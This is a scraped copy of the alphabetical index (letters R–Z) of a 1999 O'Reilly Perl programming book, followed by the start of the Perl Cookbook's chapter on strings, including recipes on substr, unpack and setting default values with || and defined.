Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

radiobuttons
A.1.1. Radiobutton
14.3.3. Radiobuttons and Checkbuttons
rand function : 4.4.2.1. Random number generation
random database access/insertion : 10.1. Persistence Issues
random number generation : 4.4.2.1. Random number generation
RDBMSs (relational databases)
7.1. OO: An Introduction
10.4. Relational Databases
read-only variables : 3.3.2. Constants
receiving sockets : 12.2.1. Receiver
record-oriented persistence : 10.3. Record-Oriented Approach
redirection : 3.4.1. I/O Redirection
ref function
1.4. Querying a Reference
7.2.4. The Need for Polymorphism
references
1. Data References and Anonymous Storage
1.1.1. A Reference Is Just Another Scalar
1.2. Using References
20.3.1. Scalar Values
to anonymous arrays/hashes : 1.2.3. References to Anonymous Storage
blessed, IVs and : 20.3.1.3. SVs and object pointers
C pointers : 1. Data References and Anonymous Storage
circular : 1.6.1. Reference Counts
to constants : 3.3.2. Constants
dereferencing : 1.1.2. Dereferencing
multiple levels of : 1.2.4. Dereferencing Multiple Levels of Indirection
nested data structures : 1.3. Nested Data Structures
object references : 7.2.2. Unique Identity
in other languages : 1.7.1. Tcl
performance and : 1.2.2. Performance Efficiency
precedence and : 1.1.6. Confusion About Precedence
querying : 1.4. Querying a Reference
reference counts : 1.6.1. Reference Counts
selective aliases : 3.3.1. Selective Aliasing
static allocation : 1.1. Referring to Existing Variables
to subroutines
(see also closures)
4.1. Subroutine References
4.3. Closures
SWIG and : 18.3. SWIG Features
symbolic
B.6. Dynamic Behavior
1.5. Symbolic References
4.1.4. Symbolic References
6.1.2. Symbolic References
syntax for : B.1. References
to typeglobs : 3.3.4. References to Typeglobs
typeglobs versus : 3.2.2.1. Efficient parameter passing
reflection : 6.8. Accessing the Symbol Table
other languages and : 6.9. Language Comparisons
RegExp tool : 20.1. Reading the Source
relational databases (RDBMSs)
7.1. OO: An Introduction
10.4. Relational Databases
relative indexing : 14.3.5.3. Insertion with relative indexing
remote procedure calls (RPC)
13.2. Remote Procedure Calls (RPC)
17.1. On Code Generation
repeat function : 14.5. Timers
require statement : 6.2. Packages and Files
resources for further reading : Resources
perldsc document : 2. Implementing Complex Data Structures
perltoot document : 4.4.3. Closures Versus Objects
retrieve_where function : 11.1. Adaptor: An Introduction
Adaptor::DBI module : 11.3.2.2. Queries
Adaptor::File module : 11.3.1.3. Query processing
return stack (retstack) : 20.4.3. Inside Other Stacks
RPC (Remote Procedure Call) : 17.1. On Code Generation
RPC module : 13.2. Remote Procedure Calls (RPC)
RTTI (Run Time Type Identification) : 6.9.3. C/C++
run-time binding : 7.2.4. The Need for Polymorphism
run-time errors : (see exceptions)
run-time evaluation
(see also eval function)
B.6. Dynamic Behavior
5. Eval
Language Syntax
in other languages : 5.7. Eval in Other Languages

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

safe compartments : 20.2.2.3. Security features
Safe module : 1.2.5.1. Trojan horses
Sarathy, Gurusamy
10.2.2. Data::Dumper
10.3.2. MLDBM
save stack : 20.4.3. Inside Other Stacks
SBDM module : 10.3.1. DBM
scalars
dereferencing
1.1.3. References to Scalars
1.2.2. Performance Efficiency
dynamic allocation of : 1.2.3. References to Anonymous Storage
dynamic binding : 9.1. Tying Scalars
scalar values (SVs) : 20.3.1. Scalar Values
Scale widgets
A.7. Scale
14.3.10. Scale
schema
evolution of : 11.2.10. Schema Evolution
generation for database : 17.2.1. Oh, and Can You Do This Too?
scope stack : 20.4.3. Inside Other Stacks
scoping, lexical versus dynamic : 3.1.2. Lexical Versus Dynamic Scoping
scratchpads : 3.1.1. Lexical Variables
scripting, advantages of : The Case for Scripting
ScrlListBox function : 14.3.9. Scrollbars and Scrolling
ScrlText function : 14.3.9. Scrollbars and Scrolling
scrollbars (scrolling) : A.6. Scrollbars and Scrolling
Scrolled function : 14.3.9. Scrollbars and Scrolling
scrolling widgets : 14.3.9. Scrollbars and Scrolling
SDBM module : 9.3. Tying Hashes
SDBM_File module : 10.3.1. DBM
search_files subroutine (example) : 19.3. Examples
searching
man pages with perlman : 16.2.2. Searching for Text
for methods : 7.3.1. Searching for Methods
multipattern grep for (example) : 5.5.1. A Fast Multipattern grep
security
eval function and : 5.1. The String Form: Expression Evaluation
module privacy : 6.4. Privacy
references and : 1.2.5.1. Trojan horses
taint checking : 20.2.2.3. Security features
select function : 12.3.2. Multiplexing Using select
Select module
12.3.2. Multiplexing Using select
12.5. IO Objects and Filehandles
select statement (SQL) : 10.4.1.2. Select
selective aliases : 3.3.1. Selective Aliasing
sending sockets : 12.2.2. Sender
serialization : 10.1. Persistence Issues
Data::Dumper module : 10.2.2. Data::Dumper
FreezeThaw module : 10.2.1. FreezeThaw
Storable module : 10.2.3. Storable
servers : 12.4. Real-World Servers
forking : 12.3.1. Multiple Threads of Execution
quiescent : 12.3.3. Nonblocking Filehandles
set_attributes function
11.2.2. Object Encapsulation
11.3.2.2. Queries
database mapping and : 11.2.4. Multivalued Attributes and Database Mapping
setjmp function : 5.6. Using Eval for Time-Outs
shadow classes, SWIG and : 18.3. SWIG Features
shallow binding : 4.5.2. Python
shared string tables : 20.3.3.1. Inside HVs
%SIG variable : 4.2.2. Signal Handlers
SIGALRM signal : 14.5. Timers
SIGIO signal : 12.3. Handling Multiple Clients
signals : 4.2.2. Signal Handlers
ALRM (alarm) : 5.6. Using Eval for Time-Outs
CHLD (child process) : 12.3.1. Multiple Threads of Execution
SIGALRM : 14.5. Timers
SIGIO (I/O) : 12.3. Handling Multiple Clients
smart callbacks : 4.4.1. Using Closures as "Smart" Callbacks
socket call : 12.5. IO Objects and Filehandles
sockets : 12.1. Networking Primer
bidirectional communication : 12.2.3. Bidirectional Communications
handling multiple sockets : 12.3. Handling Multiple Clients
IO::Socket module : 12.2. Socket API and IO::Socket
receiving with : 12.2.1. Receiver
sending with : 12.2.2. Sender
servers and : 12.4. Real-World Servers
Socket API : 12.2. Socket API and IO::Socket
soft references : (see symbolic references)
SpecPerl utility : 14.2.1. GUI Forms: The Easy Way
SpecTcl utility : 14.2.1. GUI Forms: The Easy Way
speed : (see performance)
Sql statement (SQL) : 10.4.2. Win32::ODBC
SQL statements : 10.4.1.1. Basic SQL accesses
ST macro : 20.4.2.1. Returning a variable list of results
stacks
20.2.1. Perl Objects
20.4. Stacks and Messaging Protocol
stashes : (see symbol tables)
static allocation : 1.1. Referring to Existing Variables
static methods : 7.2.5. Class Methods and Attributes
static typing hints : 20.7. A Peek into the Future
statically linked extensions : 19.4. Adding Extensions
Stopwatch facility (example) : 9.1.1. Example: Stopwatch
Storable module : 10.2.3. Storable
store function
9.1. Tying Scalars
11.2.6. Object Identity
Adaptor::DBI module : 11.3.2.1. Storing objects
Adaptor::File module : 11.3.1.1. Storing objects
stores procedures : 10.4.1.6. What DBI does not provide
streamed data, modules for : 10.2. Streamed Data
streams : 4.4.2. Iterators and Streams
strict directive, symbolic references and : 1.5. Symbolic References
strings : 20.3.1. Scalar Values
as filehandles : 3.4.4. Strings as Handles
shared string tables : 20.3.3.1. Inside HVs
struct declaration (C) : 2.1. User-Defined Structures
structures
Academy Award data (example) : 2.4. Pass the Envelope
magic variables : 20.3.6. Magic Variables
nested
B.2. Nested Data Structures
1.3. Nested Data Structures
18.3. SWIG Features
opcodes : 20.2.2.1. Inside opcodes
Perl value types : 20.3. Perl Value Types
PerlInterpreter : 20.2.1.1. Multiple interpreters
printing : 2.5. Pretty-Printing
stacks : 20.4. Stacks and Messaging Protocol
SWIG and : 18.3. SWIG Features
type-checking hints : 20.7. A Peek into the Future
user-defined : 2.1. User-Defined Structures
matrices example : 2.2. Example: Matrices
subroutines
anonymous
3.3.3. Naming Anonymous Subroutines
4.1.2. References to Anonymous Subroutines
BEGIN, compilation and : 6.3. Package Initialization and Destruction
calling : 20.4.1. Calling a Perl Subroutine
closures : 4.3. Closures
delaying loading of : 6.7. Autoloading
dispatch tables : 4.2.1. Dispatch Table
eval function and : 5.1. The String Form: Expression Evaluation
modules/packages and : 6.1. Basic Package
passing arrays/hashes to : 1.2.1. Passing Arrays and Hashes to Subroutines
passing filehandles to : 3.4.2. Passing Filehandles to Subroutines
private names for : 6.4.1. Enforcing Privacy
referencing : 4.1. Subroutine References
substitutions, /e flag with : 5.4.1. Expression Evaluation in Substitutions
substr function : 5.5.2. Extracting Columns from a File
SUPER pseudoclass : 7.2.6.1. Overriding base classes
superclasses : 7.2.6. The Need for Inheritance
SVs (scalar values) : 20.3.1. Scalar Values
SWIG tool
2.1. User-Defined Structures
17.1. On Code Generation
18. Extending Perl:A First Course
C header file and : 18.1.1. The Extension Process
features of : 18.3. SWIG Features
Mandelbrot code example : 18.2.1. Fractals Using SWIG
typemaps : 20.5.7. SWIG Typemaps
XS tool versus : 18.1.2. SWIG or XS?
XSUBs and : 20.4.2. The Called Side: Hand-Coding an XSUB
Symbol module : 3.4. Filehandles, Directory Handles, and Formats
symbol tables
3.1. Perl Variables, Symbol Table, and Scoping
20.2.1. Perl Objects
20.3.4. Glob Values and Symbol Tables
accessing : 6.8. Accessing the Symbol Table
modules/packages and : 6.1.1. Packages and Variables
symbolic references
B.6. Dynamic Behavior
1.5. Symbolic References
1.6.1. Reference Counts
4.1.4. Symbolic References
modules/packages and : 6.1.2. Symbolic References
symbols, importing : 6.5. Importing Symbols
Symdump module : 20.1. Reading the Source
synchronicity : 13.2. Remote Procedure Calls (RPC)
syntax tree : 17.2. Jeeves Example
sysread operator
12.3.3. Nonblocking Filehandles
12.3.2.1. Blocking looms again
12.5. IO Objects and Filehandles
syswrite operator
12.2.3. Bidirectional Communications
12.3.3. Nonblocking Filehandles
12.3.2.1. Blocking looms again
12.5. IO Objects and Filehandles

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

-T command-line option : 20.2.2.3. Security features
tagged styles, widget : 14.3.5.4. Using tags to change properties of text ranges
taint checking : 20.2.2.3. Security features
taint-mode option : 1.2.5.1. Trojan horses
Tcl language
(see also Perl/Tk toolkit)
14.1. Introduction to GUIs, Tk, and Perl/Tk
Why Perl?
dynamic evaluation versus subroutines : 4.5.1. Tcl
modular programming in : 6.9.1. Tcl
object orientation of : 7.5.1. Tcl
references in : 1.7.1. Tcl
run-time evaluation and error handling : 5.7.1. Tcl (Tool Command Language)
trace command : 9.6.1. Tcl
TCP/IP (Transport Control Protocol/IP) : 12.1. Networking Primer
template files : 17.2. Jeeves Example
template parser : 17.4.2. Template Parser
TemplateParser module : 17.3. Jeeves Overview
temporaries stack : 20.4.3. Inside Other Stacks
temporary aliases : 3.2.1. Temporary Aliases
Tetris GUI (example) : 15. GUI Example: Tetris
text
Entry widgets
A.3. Entry
14.3.5.5. The entry widget
perlman viewer (example) : 16. GUI Example: Man Page Viewer
positioning : 14.3.5.1. Inserting text at absolute positions
scrolling : 14.3.9. Scrollbars and Scrolling
Text widgets
A.2.1. Text
14.3.5. Text and Entry
Thompson, Ken : 10.3. Record-Oriented Approach
threads : (see multithreading)
tie statement : 9. Tie
with anonymous values : 9.1.1.1. tie works with anonymous values
with arrays : 9.2. Tying Arrays
with filehandles : 9.4. Tying Filehandles
with hashes : 9.3. Tying Hashes
monitoring variables (example) : 9.5. Example: Monitoring Variables
with scalars : 9.1. Tying Scalars
Text widgets and : 14.3.5.6. Text widget and ties
TIEARRAY function : 9.2.1. TIEARRAY Example: File as an Array
TieFile facility (example) : 9.2.1. TIEARRAY Example: File as an Array
TIESCALAR function : 9.1. Tying Scalars
time-outs, eval for : 5.6. Using Eval for Time-Outs
Time::HiRes module : 9.1.1. Example: Stopwatch
timers
13.1. Msg: Messaging Toolkit
14.5. Timers
Timer module : 9.1.1. Example: Stopwatch
Tix extension library : 14.1. Introduction to GUIs, Tk, and Perl/Tk
Tk toolkit : (see Perl/Tk toolkit)
TLI (Transport Layer Interface) : 12.1. Networking Primer
tmps_stack : 20.4.3. Inside Other Stacks
top-level window, Perl/Tk : 14.2. Starting with Perl/Tk
transactions
10.1. Persistence Issues
10.4.1.4. Transactions
translator : 20.2.2. Translator
transparency : 10.1. Persistence Issues
transparent (orthogonal) persistence
11. Implementing Object Persistence
11.2.1. Design Goals
triggers : 10.4.1.6. What DBI does not provide
Trojan horses : 1.2.5.1. Trojan horses
type-checking hints : 20.7. A Peek into the Future
typeglobs
B.9. Typeglobs
3. Typeglobs and Symbol Tables
3.2. Typeglobs
20.3.4. Glob Values and Symbol Tables
aliasing on command line : 3.2.2.2. Aliasing on command lines
for filehandles : 3.4. Filehandles, Directory Handles, and Formats
my operator with : 3.2.1. Temporary Aliases
references to : 3.3.4. References to Typeglobs
selective aliases : 3.3.1. Selective Aliasing
storing attributes with : 8.1.2. Attribute Storage Using Typeglobs
temporary aliases : 3.2.1. Temporary Aliases
variable suicide
3. Typeglobs and Symbol Tables
3.2.3. Aliasing Problem: Variable Suicide
typemaps
SWIG tool and
18.3. SWIG Features
20.5.7. SWIG Typemaps
XS tool : 20.5.2. XS Typemaps: An Introduction

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

UDP/IP (User Datagram Protocol) : 12.1. Networking Primer
Uhler, Stephen : 14.2.1. GUI Forms: The Easy Way
uniqueness of objects : 11.2.8. Uniqueness of Objects in Memory
UNIVERSAL module : 7.3. UNIVERSAL
use statement
6.2. Packages and Files
6.5. Importing Symbols
user interfaces : (see GUIs)
user-defined structures : 2.1. User-Defined Structures
matrices example : 2.2. Example: Matrices

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

-V command-line option : 6.2.1. Load Path
value types, Perl : 20.3. Perl Value Types
hints for checking : 20.7. A Peek into the Future
variables
1.6. A View of the Internals
20.2.1. Perl Objects
eval function and : 5.1. The String Form: Expression Evaluation
friendly names for : 3.2.2.3. Friendly predefined variables with aliases
global : 3.1. Perl Variables, Symbol Table, and Scoping
Hungarian notation : 1.2.4. Dereferencing Multiple Levels of Indirection
lexical
3.1.1. Lexical Variables
6.1.1. Packages and Variables
local
3.2.3. Aliasing Problem: Variable Suicide
4.3.1. Closures, Behind the Scenes
20.3.5.2. How local and my work
localizing (making private)
1.2.3. References to Anonymous Storage
6.4. Privacy
magic : 20.3.6. Magic Variables
modules/packages and : 6.1. Basic Package
monitoring (example) : 9.5. Example: Monitoring Variables
my variables : 20.3.5.2. How local and my work
read-only : 3.3.2. Constants
references/pointers : (see references)
static allocation : 1.1. Referring to Existing Variables
varable suicide
3. Typeglobs and Symbol Tables
3.2.3. Aliasing Problem: Variable Suicide
VERSION function : 7.3. UNIVERSAL
virtual tables : 20.3.6. Magic Variables
visit function
17.3.2. Intermediate Perl Code
17.4.1. AST Module
Visual Basic : Why Perl?

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

-w command-line option : 9.5. Example: Monitoring Variables
wait function : 12.3.1. Multiple Threads of Execution
waitpid function : 12.3.1. Multiple Threads of Execution
widgets : 14.1. Introduction to GUIs, Tk, and Perl/Tk
event bindings and : 14.6. Event Bindings
event loops and : 14.7. Event Loops
geometry management
14.2. Starting with Perl/Tk
14.4. Geometry Management
list of : 14.3. Widget Tour
reference for : A. Tk Widget Reference
scrolling : 14.3.9. Scrollbars and Scrolling
tagged styles : 14.3.5.4. Using tags to change properties of text ranges
timers : 14.5. Timers
Win32::ODBC module : 10.4.2. Win32::ODBC
Win32::Timer module : 9.1.1. Example: Stopwatch
windowing platforms : (see GUIs)
Wirth, Nicklaus : 7.1. OO: An Introduction

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

X Windows platform : 14.1. Introduction to GUIs, Tk, and Perl/Tk
XPUSHs macro : 20.4.2.2. Ensuring that the stack is big enough
XS tool
17.1. On Code Generation
18. Extending Perl:A First Course
C header file and : 18.1.1. The Extension Process
extensions : 20.5.1. Anatomy of an XS Extension
features of : 18.4. XS Features
Mandelbrot code example : 18.2.2. Fractals Using XS
memory management : 20.5.6. Memory Management Using XS
SWIG tool versus : 18.1.2. SWIG or XS?
typemaps : 20.5.2. XS Typemaps: An Introduction
xsubpp, special details of : 18.4.1. What Does xsubpp Do?
XSUBs and : 20.4.2. The Called Side: Hand-Coding an XSUB
xscrollcommand function : 14.3.9.1. Custom scrolling
XSRETURN macro : 20.4.2.1. Returning a variable list of results
xsubpp tool : (see XS tool)
XSUBs, hand-coding : 20.4.2. The Called Side: Hand-Coding an XSUB

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

yacc compiler : 20.2.2.2. Compilation and code generation stages
yscrollcommand function : 14.3.9.1. Custom scrolling

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

Zakharevich, Ilya : 10.2.1. FreezeThaw

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


[Chapter 1] Strings

Perl CookbookSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.1. Accessing Substrings

1. Strings

Contents:
Introduction
Accessing Substrings
Establishing a Default Value
Exchanging Values Without Using Temporary Variables
Converting Between ASCII Characters and Values
Processing a String One Character at a Time
Reversing a String by Word or Character
Expanding and Compressing Tabs
Expanding Variables in User Input
Controlling Case
Interpolating Functions and Expressions Within Strings
Indenting Here Documents
Reformatting Paragraphs
Escaping Characters
Trimming Blanks from the Ends of a String
Parsing Comma-Separated Data
Soundex Matching
Program: fixstyle
Program: psgrep

He multiplieth words without knowledge.

- Job 35:16

1.0. Introduction

Many programming languages force you to work at an uncomfortably low level. You think in lines, but your language wants you to deal with pointers. You think in strings, but it wants you to deal with bytes. Such a language can drive you to distraction. Don't despair, though - Perl isn't a low-level language; lines and strings are easy to handle.

Perl was designed for text manipulation. In fact, Perl can manipulate text in so many ways that they can't all be described in one chapter. Check out other chapters for recipes on text processing. In particular, see Chapter 6, Pattern Matching, and Chapter 8, File Contents, which discuss interesting techniques not covered here.

Perl's fundamental unit for working with data is the scalar, that is, single values stored in single (scalar) variables. Scalar variables hold strings, numbers, and references. Array and hash variables hold lists or associations of scalars, respectively. References are used for referring to other values indirectly, not unlike pointers in low-level languages. Numbers are usually stored in your machine's double-precision floating-point notation. Strings in Perl may be of any length (within the limits of your machine's virtual memory) and contain any data you care to put there - even binary data containing null bytes.

A string is not an array of bytes: You cannot use array subscripting on a string to address one of its characters; use substr for that. Like all data types in Perl, strings grow and shrink on demand. They get reclaimed by Perl's garbage collection system when they're no longer used, typically when the variables holding them go out of scope or when the expression they were used in has been evaluated. In other words, memory management is already taken care of for you, so you don't have to worry about it.

A scalar value is either defined or undefined. If defined, it may hold a string, number, or reference. The only undefined value is undef. All other values are defined, even 0 and the empty string. Definedness is not the same as Boolean truth, though; to check whether a value is defined, use the defined function. Boolean truth has a specialized meaning, tested with operators like && and || or in an if or while block's test condition.

Two defined strings are false: the empty string ("") and a string of length one containing the digit zero ("0"). This second one may surprise you, but Perl does this because of its on-demand conversion between strings and numbers. The numbers 0., 0.00, and 0.0000000 are all false when unquoted but are not false in strings (the string "0.00" is true, not false). All other defined values (e.g., "false", 15, and \$x ) are true.

The undef value behaves like the empty string ("") when used as a string, 0 when used as a number, and the null reference when used as a reference. But in all these cases, it's false. Using an undefined value where Perl expects a defined value will trigger a run-time warning message on STDERR if you've used the -w flag. Merely asking whether something is true or false does not demand a particular value, so this is exempt from a warning. Some operations do not trigger warnings when used on variables holding undefined values. These include the autoincrement and autodecrement operators, ++ and --, and the addition and catenation assignment operators, += and .= .

Specify strings in your program either with single quotes, double quotes, the quote-like operators q// and qq//, or "here documents." Single quotes are the simplest form of quoting - the only special characters are ' to terminate the string, \' to quote a single quote in the string, and \\ to quote a backslash in the string:

$string = '\n';                     # two characters, \ and an n
$string = 'Jon \'Maddog\' Orwant';  # literal single quotes

Double quotes interpolate variables (but not function calls - see Recipe 1.10 to find how to do this) and expand a lot of backslashed shortcuts: "\n" becomes a newline, "\033" becomes the character with octal value 33, "\cJ" becomes a Ctrl-J, and so on. The full list of these is given in the perlop (1) manpage.

$string = "\n";                     # a "newline" character
$string = "Jon \"Maddog\" Orwant";  # literal double quotes

The q// and qq// regexp-like quoting operators let you use alternate delimiters for single- and double-quoted strings. For instance, if you want a literal string that contains single quotes, it's easier to write this than to escape the single quotes with backslashes:

$string = q/Jon 'Maddog' Orwant/;   # literal single quotes

You can use the same character as delimiter, as we do with / here, or you can balance the delimiters if you use parentheses or paren-like characters:

$string = q[Jon 'Maddog' Orwant];   # literal single quotes
$string = q{Jon 'Maddog' Orwant};   # literal single quotes
$string = q(Jon 'Maddog' Orwant);   # literal single quotes
$string = q<Jon 'Maddog' Orwant>;   # literal single quotes

"Here documents" are borrowed from the shell. They are a way to quote a large chunk of text. The text can be interpreted as single-quoted, double-quoted, or even as commands to be executed, depending on how you quote the terminating identifier. Here we double-quote two lines with a here document:

$a = <<"EOF";
This is a multiline here document
terminated by EOF on a line by itself
EOF

Note there's no semicolon after the terminating EOF. Here documents are covered in more detail in Recipe 1.11.

A warning for non-Western programmers: Perl doesn't currently directly support multibyte characters (expect Unicode support in 5.006), so we'll be using the terms byte and character interchangeably.

Previous: Acknowledgments | Perl Cookbook | Next: 1.1. Accessing Substrings
Acknowledgments | Book Index | 1.1. Accessing Substrings


Recipe 1.1. Accessing Substrings

Perl CookbookSearch this book

1.1. Accessing Substrings

Problem

You want to access or modify just a portion of a string, not the whole thing. For instance, you've read a fixed-width record and want to extract the individual fields.

Solution

The substr function lets you read from and write to bits of the string.

$value = substr($string, $offset, $count);
$value = substr($string, $offset);

substr($string, $offset, $count) = $newstring;
substr($string, $offset)         = $newtail;

The unpack function gives only read access, but is faster when you have many substrings to extract.

# get a 5-byte string, skip 3, then grab 2 8-byte strings, then the rest
($leading, $s1, $s2, $trailing) =
    unpack("A5 x3 A8 A8 A*", $data);

# split at five byte boundaries
@fivers = unpack("A5" x (length($string)/5), $string);

# chop string into individual characters
@chars  = unpack("A1" x length($string), $string);

Discussion

Unlike many other languages that represent strings as arrays of bytes (or characters), in Perl, strings are a basic data type. This means that you must use functions like unpack or substr to access individual characters or a portion of the string.

The offset argument to substr indicates the start of the substring you're interested in, counting from the front if positive and from the end if negative. If offset is 0, the substring starts at the beginning. The count argument is the length of the substring.

$string = "This is what you have";
#         +012345678901234567890  Indexing forwards  (left to right)
#          109876543210987654321- Indexing backwards (right to left)
#           note that 0 means 10 or 20, etc. above

$first  = substr($string, 0, 1);  # "T"
$start  = substr($string, 5, 2);  # "is"
$rest   = substr($string, 13);    # "you have"
$last   = substr($string, -1);    # "e"
$end    = substr($string, -4);    # "have"
$piece  = substr($string, -8, 3); # "you"

You can do more than just look at parts of the string with substr; you can actually change them. That's because substr is a particularly odd kind of function - an lvaluable one, that is, a function that may itself be assigned a value. (For the record, the others are vec, pos, and as of the 5.004 release, keys. If you squint, local and my can also be viewed as lvaluable functions.)

$string = "This is what you have";
print $string;
This is what you have
substr($string, 5, 2) = "wasn't"; # change "is" to "wasn't"
This wasn't what you have
substr($string, -12)  = "ondrous";# "This wasn't wondrous"
This wasn't wondrous
substr($string, 0, 1) = "";       # delete first character
his wasn't wondrous
substr($string, -10)  = "";       # delete last 10 characters
his wasn'

You can use the =~ operator and the s///, m//, or tr/// operators in conjunction with substr to make them affect only that portion of the string.

# you can test substrings with =~
if (substr($string, -10) =~ /pattern/) {
    print "Pattern matches in last 10 characters\n";
}

# substitute "at" for "is", restricted to first five characters
substr($string, 0, 5) =~ s/is/at/g;

You can even swap values by using several substrs on each side of an assignment:

# exchange the first and last letters in a string
$a = "make a hat";
(substr($a,0,1), substr($a,-1)) = (substr($a,-1), substr($a,0,1));
print $a;
take a ham

Although unpack is not lvaluable, it is considerably faster than substr when you extract numerous values at once. It doesn't directly support offsets as substr does. Instead, it uses lowercase "x" with a count to skip forward some number of bytes and an uppercase "X" with a count to skip backward some number of bytes.

# extract column with unpack
$a = "To be or not to be";
$b = unpack("x6 A6", $a);  # skip 6, grab 6
print $b;
or not

($b, $c) = unpack("x6 A2 X5 A2", $a); # forward 6, grab 2; backward 5, grab 2
print "$b\n$c\n";
or
be

Sometimes you prefer to think of your data as being cut up at specific columns. For example, you might want to place cuts right before positions 8, 14, 20, 26, and 30. Those are the column numbers where each field begins. Although you could calculate that the proper unpack format is "A7 A6 A6 A6 A4 A*", this is too much mental strain for the virtuously lazy Perl programmer. Let Perl figure it out for you. Use the cut2fmt function below:

sub cut2fmt {
    my(@positions) = @_;
    my $template   = '';
    my $lastpos    = 1;
    foreach $place (@positions) {
        $template .= "A" . ($place - $lastpos) . " ";
        $lastpos   = $place;
    }
    $template .= "A*";
    return $template;
}

$fmt = cut2fmt(8, 14, 20, 26, 30);
print "$fmt\n";
A7 A6 A6 A6 A4 A*

The powerful unpack function goes far beyond mere text processing. It's the gateway between text and binary data.

See Also

The unpack and substr functions in perlfunc (1) and Chapter 3 of Programming Perl; the cut2fmt subroutine of Recipe 1.18; the binary use of unpack in Recipe 8.18

Previous: 1.0. Introduction | Perl Cookbook | Next: 1.2. Establishing a Default Value
1.0. Introduction | Book Index | 1.2. Establishing a Default Value


Recipe 1.2. Establishing a Default Value

Perl CookbookSearch this book

1.2. Establishing a Default Value

Problem

You would like to give a default value to a scalar variable, but only if it doesn't already have one. It often happens that you want a hard-coded default value for a variable that can be overridden from the command-line or through an environment variable.

Solution

Use the || or ||= operator, which work on both strings and numbers:

# use $b if $b is true, else $c
$a = $b || $c;

# set $x to $y unless $x is already true
$x ||= $y

If 0 or "0" are valid values for your variables, use defined instead:

# use $b if $b is defined, else $c
$a = defined($b) ? $b : $c;

Discussion

The big difference between the two techniques (defined and ||) is what they test: definedness versus truth. Three defined values are still false in the world of Perl: 0, "0", and "". If your variable already held one of those, and you wanted to keep that value, a || wouldn't work. You'd have to use the clumsier tests with defined instead. It's often convenient to arrange for your program to care only about true or false values, not defined or undefined ones.

Rather than being restricted in its return values to a mere 1 or 0 as in most other languages, Perl's || operator has a much more interesting property: It returns its first operand (the left-hand side) if that operand is true; otherwise it returns its second operand. The && operator also returns the last evaluated expression, but is less often used for this property. These operators don't care whether their operands are strings, numbers, or references - any scalar will do. They just return the first one that makes the whole expression true or false. This doesn't affect the Boolean sense of the return value, but it does make the operators more convenient to use.

This property lets you provide a default value to a variable, function, or longer expression in case the first part doesn't pan out. Here's an example of ||, which would set $foo to be the contents of either $bar or, if $bar is false, "DEFAULT VALUE":

$foo = $bar || "DEFAULT VALUE";

Here's another example, which sets $dir to be either the first argument to the program or "/tmp" if no argument was given.

$dir = shift(@ARGV) || "/tmp";

We can do this without altering @ARGV:

$dir = $ARGV[0] || "/tmp";

If 0 is a valid value for $ARGV[0], we can't use || because it evaluates as false even though it's a value we want to accept. We must resort to the ternary ("hook") operator:

$dir = defined($ARGV[0]) ? shift(@ARGV) : "/tmp";

We can also write this as follows, although with slightly different semantics:

$dir = @ARGV ? $ARGV[0] : "/tmp";

This checks the number of elements in @ARGV. Using the hook operator as a condition in a ?: statement evaluates @ARGV in scalar context. It's only false when there are 0 elements, in which case we use "/tmp". In all other cases (when the user gives an argument), we use the first argument.

The following line increments a value in %count, using as the key either $shell or, if $shell is false, "/bin/sh".

$count{ $shell || "/bin/sh" }++;

You may chain several alternatives together as we have in the following example. The first expression that returns a true value will be used.

# find the user name on Unix systems
$user = $ENV{USER}
     || $ENV{LOGNAME}
     || getlogin()
     || (getpwuid($<))[0]
     || "Unknown uid number $<";

